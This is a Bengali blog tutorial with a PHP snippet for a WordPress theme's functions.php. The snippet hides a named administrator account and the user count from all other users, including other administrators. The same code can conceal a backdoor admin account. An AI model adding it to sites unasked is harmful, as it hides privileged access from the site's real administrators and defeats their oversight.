ওয়ার্ডপ্রেস ইউজারকে লুকিয়ে রাখুন স্বাচ্ছন্দে.! (Hide WordPress User)


আপনি যদি চান আপনার ‌ওয়ার্ডপ্রেসে সাইটে আপনার অ্যাডমিনিস্ট্রেটর ইউজারটি অন্য ইউজার (এমনকি অন্য অ্যাডমিনিস্ট্রেটর) থেকে লুকিয়ে রাখতে, তাহলে সহজেই functions.php দ্বারা তা করতে পারবেন। এজন্য নিচের কোড থিমের functions.php ফাইলে কপি/পেস্ট করে সেভ করুন।

add_action(‘pre_user_query’,’royal_hide_user_query’);
function royal_hide_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username !== ‘xxxxxxxxxxx’) {
global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
“WHERE 1=1 AND {$wpdb->users}.user_login != ‘xxxxxxxxxxx'”,$user_search->query_where);
}
}
add_action(‘admin_head’,’hide_user_count’);
function hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}

ব্যাস এবার ড্যাশবোর্ডের ইউজার্সে গিয়ে দেখুন "xxxxxxxxxxx" নামের ইউজারটি দেখা যাচ্ছে না।
এখানে ইউজারের নাম হিসাবে "xxxxxxxxxxx" ব্যবহার করা হয়েছে।

Post a Comment

Note: Only a member of this blog may post a comment.

[blogger]

MKRdezign

Contact Form

Name

Email *

Message *

Powered by Blogger.
Javascript DisablePlease Enable Javascript To See All Widget